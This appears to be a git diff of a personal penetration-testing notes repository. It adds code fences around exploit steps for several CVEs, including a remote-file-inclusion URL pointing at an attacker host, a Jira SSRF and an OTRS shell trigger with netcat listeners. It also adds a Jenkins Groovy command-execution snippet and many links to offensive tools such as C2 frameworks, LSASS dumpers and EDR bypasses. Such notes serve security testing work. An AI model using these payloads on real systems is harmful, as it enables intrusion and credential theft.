diff --git a/exploit/CVE-2009-4623.md b/exploit/CVE-2009-4623.md index 90ab34b..eb1c807 100644 --- a/exploit/CVE-2009-4623.md +++ b/exploit/CVE-2009-4623.md @@ -15,7 +15,9 @@ nc -lvp ``` ### Trigger remote file inclusion +``` https:///internal/advanced_comment_system/index.php?ACS_path=http:///t +``` ### References https://www.exploit-db.com/exploits/9623 diff --git a/exploit/CVE-2017-16921.md b/exploit/CVE-2017-16921.md index d88aad7..898bd20 100644 --- a/exploit/CVE-2017-16921.md +++ b/exploit/CVE-2017-16921.md @@ -16,7 +16,9 @@ nc -lnvp ``` ### Trigger shell +``` http:///otrs/index.pl?Action=AdminPGP +``` ### References https://www.exploit-db.com/exploits/43853 diff --git a/exploit/CVE-2017-9506.md b/exploit/CVE-2017-9506.md index 4fef33e..3c2b2b6 100644 --- a/exploit/CVE-2017-9506.md +++ b/exploit/CVE-2017-9506.md @@ -1,5 +1,7 @@ ### Exploit server-side request forgery +``` https:///plugins/servlet/oauth/users/icon-uri?consumerUri=https:// +``` ### References https://thehackerish.com/jira-vulnerabilities-and-how-they-are-exploited-in-the-wild diff --git a/exploit/CVE-2019-11581.md b/exploit/CVE-2019-11581.md index 12ed52b..fbb12eb 100644 --- a/exploit/CVE-2019-11581.md +++ b/exploit/CVE-2019-11581.md @@ -1,5 +1,7 @@ ### Go to +``` https:///secure/ContactAdministrators!default.jspa +``` ### Enter malicious string into form ``` diff --git a/linux/ansible.md b/linux/ansible.md new file mode 100644 index 0000000..05bdb68 --- /dev/null +++ b/linux/ansible.md @@ -0,0 +1,8 @@ +### Install ansible on debian +``` +wget -O- https://apt.releases.hashicorp.com/gpg | sudo gpg --dearmor -o /usr/share/keyrings/hashicorp-archive-keyring.gpg +echo "deb [signed-by=/usr/share/keyrings/hashicorp-archive-keyring.gpg] https://apt.releases.hashicorp.com $(lsb_release -cs) main" | sudo tee /etc/apt/sources.list.d/hashicorp.list +sudo apt update +sudo apt install ansible terraform +``` + diff --git a/linux/column.md b/linux/column.md new file mode 100644 index 0000000..37bc61a --- /dev/null +++ b/linux/column.md @@ -0,0 +1,5 @@ +### Print csv file +``` +column -s, -t < .csv | less -#2 -N -S +``` + diff --git a/linux/favfreak.md b/linux/favfreak.md index 5b7ad1f..9c90dab 100644 --- a/linux/favfreak.md +++ b/linux/favfreak.md @@ -1,7 +1,7 @@ ### Source https://github.com/devanshbatham/FavFreak -### Fetch favicon.ico file and compute hash, domainFile must be like: http:// or https:// +### Fetch favicon.ico file and compute hash ``` cat | favfreak ``` diff --git a/linux/tcpdump.md b/linux/tcpdump.md index fd337a6..f0fa493 100644 --- a/linux/tcpdump.md +++ b/linux/tcpdump.md @@ -8,6 +8,11 @@ tcpdump -i host tcpdump net and src port ``` +### Filter traffic by two source hosts +``` +tcpdump -i -nn src host or src host +``` + ### Filter by icmp protocol ``` tcpdump icmp diff --git a/other/jenkins.md b/other/jenkins.md index 24773a2..3378734 100644 --- a/other/jenkins.md +++ b/other/jenkins.md @@ -1,5 +1,7 @@ -### Code execution via groovy script /script +### Code execution via groovy script ``` +/script + def process = "".execute() println "Found text ${process.text}" ``` diff --git a/other/shortkeys-boot-menu.md b/other/shortkeys-boot-menu.md index 73992d3..257c250 100644 --- a/other/shortkeys-boot-menu.md +++ b/other/shortkeys-boot-menu.md @@ -1,3 +1,4 @@ +``` Acer Esc, F12, F9 Asus Esc, F2 Clevo F7 @@ -9,4 +10,5 @@ Samsung Esc, F12, F2 Sony F11, Esc, F10 Toshiba F12 Others F12, Esc +``` diff --git a/snippet/sh/forFileInDir.sh b/snippet/sh/forFileInDir.sh new file mode 100644 index 0000000..e07e206 --- /dev/null +++ b/snippet/sh/forFileInDir.sh @@ -0,0 +1,8 @@ +for pathToFile in "${dir}"/* +do + if [ -f "${pathToFile}" ] + then + echo "${pathToFile}" + fi +done + diff --git a/url/git-tools b/url/git-tools index e7a998a..4b3993b 100644 --- a/url/git-tools +++ b/url/git-tools @@ -52,9 +52,15 @@ Find assemblies on hosts that can be useful for payloads or post ex. No pre-buil https://github.com/0xthirteen/PerfExec The code is not super clean but project contains an example performance dll that will run CMD.exe and a .NET assembly that will execute the DLL or gather performance data locally or remotely. +https://github.com/0xthirteen/SharpMove +.NET Project for performing Authenticated Remote Execution + https://github.com/0xthirteen/SharpRDP Remote Desktop Protocol .NET Console Application for Authenticated Command Execution +https://github.com/0xthirteen/reg_snake +Python tool to interact with WMI StdRegProv + https://github.com/0xv1n/RemoteSessionEnum Remotely Enumerate sessions using undocumented Windows Station APIs @@ -238,6 +244,9 @@ The LOLBins CTI-Driven (Living-Off-the-Land Binaries Cyber Threat Intelligence D https://github.com/CalfCrusher/MaccaroniC2 A proof-of-concept Command & Control framework that utilizes the powerful AsyncSSH Python library which provides an asynchronous client and server implementation of the SSHv2 protocol and use PyNgrok wrapper for ngrok integration. +https://github.com/ChaitanyaHaritash/IllusiveFog +Windows Administrator level Implant. + https://github.com/CiscoCXSecurity/bbqsql SQL Injection Exploitation Tool @@ -388,6 +397,9 @@ JA4+ is a suite of network fingerprinting standards https://github.com/FoxIO-LLC/ja4tscan JA4TScan is an active TCP server fingerprinting tool. +https://github.com/Friends-Security/ShadowHound +PowerShell scripts for alternative SharpHound enumeration, including users, groups, computers, and certificates, using the ActiveDirectory module (ADWS) or System.DirectoryServices class (LDAP). + https://github.com/Frissi0n/GTFONow Automatic privilege escalation for misconfigured capabilities, sudo and suid binaries using GTFOBins. @@ -523,6 +535,9 @@ https://github.com/Kevin-Robertson/Inveigh https://github.com/Kevin-Robertson/Invoke-TheHash PowerShell Pass The Hash Utils +https://github.com/Kudaes/Eclipse +Activation Context Hijack + https://github.com/Kudaes/LOLBITS ** DISCONTINUED ** C2 framework that uses Background Intelligent Transfer Service (BITS) as communication protocol and Direct Syscalls + Dinvoke for EDR user-mode hooking evasion. @@ -532,6 +547,9 @@ Apply a divide and conquer approach to bypass EDRs https://github.com/LMGsec/o365creeper Python script that performs email address validation against Office 365 without submitting login attempts. +https://github.com/LOTTunnels/LOTTunnels.github.io +Living Off The Tunnels a.k.a LOTTS Project is community driven project to document digital tunnels which can be abused by threat actors as well by insiders for data exfiltrations, persistence, shell access etc. + https://github.com/LaresLLC/OffensiveSysAdmin A collection of tools Neil and Andy have been working on released in one place and interlinked with previous tools @@ -697,6 +715,9 @@ A collection of scripts for assessing Microsoft Azure security https://github.com/NetSPI/NetblockTool Find netblocks owned by a company +https://github.com/NetSPI/PowerHuntShares +PowerHuntShares is an audit script designed in inventory, analyze, and report excessive privileges configured on Active Directory domains. + https://github.com/NetSPI/PowerUpSQL PowerUpSQL: A PowerShell Toolkit for Attacking SQL Server @@ -715,6 +736,9 @@ Universal local privilege escalation Proof-of-Concept exploit for CVE-2024-1086, https://github.com/Nyr/openvpn-install OpenVPN road warrior installer for Ubuntu, Debian, AlmaLinux, Rocky Linux, CentOS and Fedora +https://github.com/Nyr/wireguard-install +WireGuard road warrior installer for Ubuntu, Debian, AlmaLinux, Rocky Linux, CentOS and Fedora + https://github.com/OALabs/BlobRunner Quickly debug shellcode extracted during malware analysis @@ -739,12 +763,18 @@ XLL Phishing Tradecraft https://github.com/Offensive-Panda/LsassReflectDumping This tool leverages the Process Forking technique using the RtlCreateProcessReflection API to clone the lsass.exe process. Once the clone is created, it utilizes MINIDUMP_CALLBACK_INFORMATION callbacks to generate a memory dump of the cloned process +https://github.com/Offensive-Panda/ShadowDumper +Shadow Dumper is a powerful tool used to dump LSASS memory, often needed in penetration testing and red teaming. It uses multiple advanced techniques to dump memory, allowing to access sensitive data in LSASS memory. + https://github.com/OpenSecurityResearch/hostapd-wpe Modified hostapd to facilitate AP impersonation attacks https://github.com/Orange-Cyberdefense/wmi-shell WMI Shell project : proof-of-concept of remote access to a Windows machine using only the WMI service. +https://github.com/PShlyundin/GPOHunter +A security assessment tool for analyzing Active Directory Group Policy Objects (GPOs) to identify misconfigurations and vulnerabilities + https://github.com/PShlyundin/ldap_shell AD ACL abuse @@ -979,6 +1009,9 @@ PoC to record audio from a Bluetooth device https://github.com/Teach2Breach/Tempest A command and control framework written in rust. +https://github.com/Teach2Breach/snapinject_rs +A process injection using process snapshotting based on https://gitlab.com/ORCA000/snaploader , in rust. + https://github.com/The-Viper-One/PsMapExec A PowerShell tool that takes strong inspiration from CrackMapExec. @@ -1132,6 +1165,9 @@ Malwoverview is a first response tool used for threat hunting and offers intel i https://github.com/alexdhital/Infiltrax Infiltrax is a post-exploitation reconnaissance tool for penetration testers and red teams, designed to capture screenshots, retrieve clipboard contents, log keystrokes, and install AnyDesk for persistent remote access. +https://github.com/allinurl/goaccess +GoAccess is a real-time web log analyzer and interactive viewer that runs in a terminal in *nix systems or through your browser. + https://github.com/ambionics/phpggc PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically. @@ -1189,6 +1225,9 @@ The goal of this repository is to document the most common techniques to bypass https://github.com/arget13/DDexec A technique to run binaries filelessly and stealthily on Linux by "overwriting" the shell's process with another. +https://github.com/assafdori/bypass-mdm +Bypass MDM Setup for MacOS, up to Sequoia (24A335). + https://github.com/assetnote/surf Escalate your SSRF vulnerabilities on Modern Cloud Environments. `surf` allows you to filter a list of hosts, returning a list of viable SSRF candidates. @@ -1297,6 +1336,9 @@ Scripts to make password spraying attacks against Lync/S4B, OWA & O365 a lot https://github.com/c3c/ADExplorerSnapshot.py ADExplorerSnapshot.py is an AD Explorer snapshot parser. It is made as an ingestor for BloodHound, and also supports full-object dumping to NDJSON. +https://github.com/c3rb3ru5d3d53c/binlex +A Binary Genetic Traits Lexer Framework + https://github.com/caarlos0/twitter-cleaner Automatically delete tweets, retweets, and favorites from your timeline, and, if provided, from your twitter archive as well. @@ -1327,9 +1369,15 @@ detect malicious program behaviors https://github.com/channyein1337/jsleak jsleak is a tool to find secret , paths or links in the source code during the recon. +https://github.com/chartdb/chartdb +Database diagrams editor that allows you to visualize and design your DB with a single query. + https://github.com/chaudharyarjun/RepoReaper RepoReaper is an automated tool crafted to meticulously scan and identify exposed .git repositories within specified domains and their subdomains. +https://github.com/chebuya/sastsweep +Automatically detect potential vulnerabilities and analyze repository metrics to prioritize open source security research targets + https://github.com/chrismaddalena/SharpCloud Simple C# for checking for the existence of credential files related to AWS, Microsoft Azure, and Google Compute. @@ -1351,6 +1399,9 @@ Automate the creation of a lab environment complete with security tooling and lo https://github.com/clymb3r/PowerShell Useful PowerShell scripts +https://github.com/cmprmsd/cinelog +Comprehensive logging of all terminal input and output for each session based on Asciinema and wild zsh + Python scripting. + https://github.com/cobbr/PSAmsi PSAmsi is a tool for auditing and defeating AMSI signatures. @@ -1456,12 +1507,18 @@ An offline Phishing Email Analyzer. Enabling non-techies to analyze phishing ema https://github.com/decalage2/oletools oletools - python tools to analyze MS OLE2 files (Structured Storage, Compound File Binary Format) and MS Office documents, for malware analysis, forensics and debugging. +https://github.com/decoder-it/KrbRelayEx +I created this tool to explore the potential misuse of privileges granted to the DnsAdmins group in Active Directory, focusing on their ability to modify DNS records. + https://github.com/decompiler-explorer/decompiler-explorer Decompiler Explorer! Compare tools on the forefront of static analysis, now in your web browser! https://github.com/deepfence/SecretScanner Find secrets and passwords in container images and file systems +https://github.com/deepinstinct/DCOMUploadExec +DCOM Lateral movement POC abusing the IMsiServer interface - uploads and executes a payload remotely + https://github.com/deepinstinct/Dirty-Vanity A POC for the new injection technique, abusing windows fork API to evade EDRs. @@ -1678,6 +1735,9 @@ HTA Visual Basic script for remote shell on windows machines https://github.com/frkngksl/NimExec Fileless Command Execution for Lateral Movement in Nim +https://github.com/frkngksl/Shoggoth +Shoggoth is an open-source project based on C++ and asmjit library used to encrypt given shellcode, PE, and COFF files polymorphically. + https://github.com/frohoff/ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. @@ -1795,6 +1855,9 @@ ProxyLogon PoC https://github.com/helviojunior/hookchain HookChain: A new perspective for Bypassing EDR Solutions +https://github.com/hengyoush/kyanos +Visualize the time packets spend in the kernel, analyze requests/responses in command line. + https://github.com/hephaest0s/usbkill « usbkill » is an anti-forensic kill-switch that waits for a change on your USB ports and then immediately shuts down your computer. @@ -2098,6 +2161,9 @@ CVE-2021-40444 PoC https://github.com/lockedbyte/CVE-Exploits/tree/master/CVE-2020-28018 There exists a Use-after-free (UAF) vulnerability in tls-openssl.c that allow remote unauthenticated attackers to corrupt internal memory data, thus finally achieving remote code execution. +https://github.com/logangoins/Cable +.NET post-exploitation toolkit for Active Directory reconnaissance and exploitation + https://github.com/login-securite/DonPAPI Dumping DPAPI credz remotely @@ -2152,6 +2218,9 @@ Windows persistence toolkit written in C#. https://github.com/mandiant/capa The FLARE team's open-source tool to identify capabilities in executable files. +https://github.com/mandiant/xrefer +XRefer is a Python-based plugin for the IDA Pro disassembler, a tool used for analyzing software. The plugin provides a custom navigation interface within IDA. + https://github.com/marcnewlin/hi_my_name_is_keyboard This repository contains proof-of-concept scripts for CVE-2023-45866, CVE-2024-21306, and CVE-2024-0230. @@ -2614,6 +2683,9 @@ Deserialization payload generator for a variety of .NET formatters https://github.com/qsecure-labs/overlord Overlord - Red Teaming Infrastructure Automation +https://github.com/quay/clair +Vulnerability Static Analysis for Containers + https://github.com/r00t-3xp10it/meterpeter C2 Powershell Command & Control Framework with BuiltIn Commands @@ -2671,6 +2743,9 @@ OWASP Joomla! Vulnerability Scanner (JoomScan) is an open source project, develo https://github.com/ricardojoserf/NativeDump Dump lsass using only Native APIs by hand-crafting Minidump files (without MinidumpWriteDump!) +https://github.com/ricardojoserf/NativeDump/tree/crystal-flavour +Dump lsass using only NTAPI functions by hand-crafting Minidump files (without MiniDumpWriteDump!!!) + https://github.com/ricardojoserf/SharpSelfDelete PoC to self-delete a binary in C# @@ -2791,6 +2866,12 @@ Patch PE, ELF, Mach-O binaries with shellcode new version in development, availa https://github.com/secur30nly/go-self-delete Go implementation of the self-deletion of an running executable from disk +https://github.com/secureworks/BAADTokenBroker +BAADTokenBroker is a post-exploitation tool designed to leverage device-stored keys (Device key, Transport key etc..) to authenticate to Microsoft Entra ID. + +https://github.com/secureworks/pytune +Pytune is a post-exploitation tool for enrolling a fake device into Intune with mulitple platform support. + https://github.com/secureworks/squarephish SquarePhish is an advanced phishing tool that uses a technique combining the OAuth Device code authentication flow and QR codes. @@ -2869,6 +2950,9 @@ Nginxpwner is a simple tool to look for common Nginx misconfigurations and vulne https://github.com/stealth/devpops Companion Worm research +https://github.com/steven-michaud/HookCase +Tool for reverse engineering macOS/OS X + https://github.com/strontic/xcyclopedia The xCyclopedia project attempts to document all executable binaries (and eventually scripts) that reside on a typical operating system. @@ -2881,6 +2965,9 @@ Information gathering framework for phone numbers https://github.com/suno-ai/bark Text-prompted Generative Audio Model +https://github.com/swarley7/mailer +Sends emails using templates. Useful for simple, bulk mailouts. + https://github.com/swisskyrepo/HardwareAllTheThings Hardware/IOT Pentesting Wiki @@ -3040,6 +3127,9 @@ Diff and display virtual machine snapshots https://github.com/vxCrypt0r/Voidmaw A new technique that can be used to bypass memory scanners. This can be useful in hiding problematic code (such as reflective loaders implemented by C2 beacons) or other problematic executables that will be flagged by the antimalware programs(such as mimikatz). +https://github.com/vxfemboy/ghostport +A high-performance port spoofing tool built in Rust. Confuse port scanners with dynamic service emulation across all ports. Features customizable signatures, efficient async handling, and easy traffic redirection. + https://github.com/vysecurity/morphHTA morphHTA - Morphing Cobalt Strike's evil.HTA diff --git a/url/news.md b/url/news.md index dda7d6d..2a46b5f 100644 --- a/url/news.md +++ b/url/news.md @@ -4,6 +4,7 @@ * https://cvecrowd.com * https://github.com/Simpsonpt/AppSecEzine * https://latesthackingnews.com/category/cyber-security-news +* https://ransomfeed.it * https://rss.voidsec.com * https://talkback.sh * https://thehackernews.com diff --git a/url/services.md b/url/services.md index 81d7c58..9c78322 100644 --- a/url/services.md +++ b/url/services.md @@ -31,6 +31,7 @@ * https://delivr.to/payloads * https://demo.f4map.com * https://developer.microsoft.com/en-us/microsoft-edge/tools/vms +* https://elevenlabs.io ; #artificia-intelligence #ai #text-to-speech * https://emailrep.io * https://evasions.checkpoint.com * https://facemorph.me @@ -52,6 +53,7 @@ * https://lofl-project.github.io * https://lolbas-project.github.io * https://lots-project.com ; #living-off-the-trusted-sites #phishing +* https://lottunnels.github.io ; #living-off-the-tunnels #pivot #socks #socket * https://malpedia.caad.fkie.fraunhofer.de * https://msportals.io * https://myip.wtf/json diff --git a/url/tagged-urls.md b/url/tagged-urls.md index 345c5be..682291a 100644 --- a/url/tagged-urls.md +++ b/url/tagged-urls.md @@ -67,6 +67,7 @@ * https://bishopfox.com/blog/spoofy-email-domain-spoofing ; #phishing #mail #dmark #dkim #spf * https://bleekseeks.com/blog/how-to-protect-against-modern-phishing-attacks ; #phishing #evilginx #conditional-access-policy #continous-access-evaluation * https://blog.0x4.xyz/bypassing-windows-protection-mechanisms/bypass-windows-defender-atp ; #windows-defender-atp #advanced-threat-protection #edr #evasion #bypass +* https://blog.amberwolf.com/blog/2024/november/palo-alto-globalprotect---code-execution-and-privilege-escalation-via-malicious-vpn-server-cve-2024-5921 ; #vpn #initial-access #local-privilege-escalation #palo-alto #cve-2024-5921 #global-protect * https://blog.ampedsoftware.com/2023/02/28/cctv-the-beginners-guide ; #cctv #camera #video #hdd * https://blog.apnic.net/2023/11/22/ja4-network-fingerprinting ; #ja4+ #jarm #threat-intelligence #dfir #forensic * https://blog.assetnote.io/2021/08/29/exploiting-graphql ; #webapp #graphql #batchql #csrf @@ -175,6 +176,7 @@ * https://decoder.cloud/2023/02/13/localpotato-when-swapping-the-context-leads-you-to-system ; #windows #ntlm #local-potato * https://decoder.cloud/2023/09/05/from-ntauthcertificates-to-silver-certificate ; #windows #adcs #active-directory #certificate-service * https://decoder.cloud/2024/08/02/the-fake-potato ; #windows #powershell #dot-net #cross-session-activation #com-object #impersonation #cve-2024-38100 +* https://decoder.cloud/2024/11/26/group-policy-nightmares-pt2 ; #dnsadmins #active-directory #smb-relay #https-adcs * https://defcon.org/images/defcon-19/dc-19-presentations/Duckwall/DEFCON-19-Duckwall-Bridge-Too-Far.pdf ; #802-1x #bridge #linux * https://detect.fyi/threat-hunting-suspicious-named-pipes-a4206e8a4bc8?gi=f841fec0eb16 ; #threat-intelligence #named-pipe #ipc #windows #linux #event-id #threat-hunting * https://detect.fyi/threat-hunting-suspicious-windows-service-names-2f0dceea204c?gi=25697c91242b ; #dfir #forensic #event-id #log #windows #services #siem @@ -192,6 +194,7 @@ * https://elliotonsecurity.com/living-off-the-land-reverse-engineering-methodology-plus-tips-and-tricks-cmdl32-case-study ; #reverse-engineering #lolbin #windows * https://embee-research.ghost.io/practical-queries-for-malware-infrastructure-part-3 ; #threat-intelligence #censys #malware-infrastructure * https://embee-research.ghost.io/threat-intel-queries-with-fofabot ; #fofa #cheatsheets #queries #threat-intelligence #malware +* https://embracethered.com/blog/posts/2024/security-probllms-in-xai-grok ; #llm #large-language-model #prompt-injection #grok * http://sensepost.com/blog/2024/dumping-lsa-secrets-a-story-about-task-decorrelation ; #windows #lsa #registry #dump #secret * https://espysys.com/blog/telegram-osint-the-ultimate-guide-to-unveiling-insights-beyond-what-meets-the-eye ; #osint #telegram * https://eta.st/2023/01/31/rail-tickets.html ; #reverse-engineering #rail-ticket #decompiling @@ -292,6 +295,7 @@ * https://labs.guard.io/mrtonyscam-botnet-of-facebook-users-launch-high-intent-messenger-phishing-attack-on-business-3182cfb12f4d ; #threat-intelligence #malware #facebook #phishing #batch * https://labs.jumpsec.com/advisory-idor-in-microsoft-teams-allows-for-external-tenants-to-introduce-malware ; #ms-teams #phishing #http-post #instant-messenger * https://labs.jumpsec.com/ssh-tunnelling-to-punch-through-corporate-firewalls-updated-take-on-one-of-the-oldest-lolbins ; #windows #ssh #pivoting #proxy #firewall #port-forwarding +* https://labs.jumpsec.com/weaponize-your-word-malicious-template-injection ; #windows #word #template-injection #docx #settings-xml-rels #docm * https://labs.lares.com/adcs-exploits-investigations-pt1 ; #active-directory #certificate-service #adcs #detection #event-id * https://labs.lares.com/adcs-exploits-investigations-pt2 ; #active-directory #certificate-service #adcs #detection #esc1 #esc3 #esc4 esc6 * https://labs.lares.com/fear-kerberos-pt1 ; #windows #active-directory #kerberos #key-distribution-center #tgs #tgt #pre-authentication @@ -558,6 +562,7 @@ https://medium.com/@TalBeerySec/revealing-the-inner-structure-of-aws-session-tok * https://unit42.paloaltonetworks.com/detecting-malicious-stockpiled-domains ; #phishing #threat-intelligence #domain #certificate * https://unit42.paloaltonetworks.com/fake-cve-2023-40477-poc-hides-venomrat ; #threat-intelligence #fake-poc #powershell #python #malware * https://unit42.paloaltonetworks.com/next-gen-kerberos-attacks ; #kerberos #active-directory #diamond #sapphire #s4u2self #delegation #tgs #tgt +* https://unit42.paloaltonetworks.com/unique-popular-techniques-lateral-movement-macos ; #macosx #lateral-movement #apple-remote-desktop #ard #ssh #remote-apple-events #applescript * https://unit42.paloaltonetworks.com/unit42-threat-intelligence-roundup ; #phishing #malware #threat-intelligence #dropper #infection-chain * https://up.nttdata.com/l/970163/2024-01-22/58n5n/970163/1705913860OSud8AHj/Using_Microsoft_Teams_for_Phishing.pdf ; #ms-teams #phishing #spoofing #instant-messenger #splash-screen-bypass * https://v3ded.github.io/redteam/red-team-tactics-writing-windows-kernel-drivers-for-advanced-persistence-part-2 ; #windows #persistence #kernel-driver @@ -606,6 +611,7 @@ https://medium.com/@TalBeerySec/revealing-the-inner-structure-of-aws-session-tok * https://www.cryptic.red/post/defending-your-phishing-page-against-eop-and-safe-links-a-blacklist-approach ; #phishing #safelinks #o365 * https://www.cyberark.com/resources/threat-research-blog/persistence-techniques-that-persist ; #windows #persistence #methodology #wiki * https://www.cybereason.com/blog/dcom-lateral-movement-techniques ; #lateral-movement #windows #dcom #powershell +* https://www.deepinstinct.com/blog/forget-psexec-dcom-upload-execute-backdoor ; #windows #lateral-movement #dcom #idispatch #clsid * https://www.descope.com/blog/post/noauth ; #cloud #azure #entra #noauth #open-id * https://www.docguard.io/deep-dive-analysis-of-shell-link-lnk-binary-file-format-and-malicious-lnk-files ; #windows #lnk #malware #threat-intelligence * https://www.docguard.io/in-depth-analysis-of-typhon-stealer ; #threat-intelligence #malware-analyse #sandbox-evasion diff --git a/windows/msi.md b/windows/msi.md index 7dc5321..696dd0d 100644 --- a/windows/msi.md +++ b/windows/msi.md @@ -16,12 +16,13 @@ C:\\sdk\MakeSfxCA.exe C:\\.dll C:\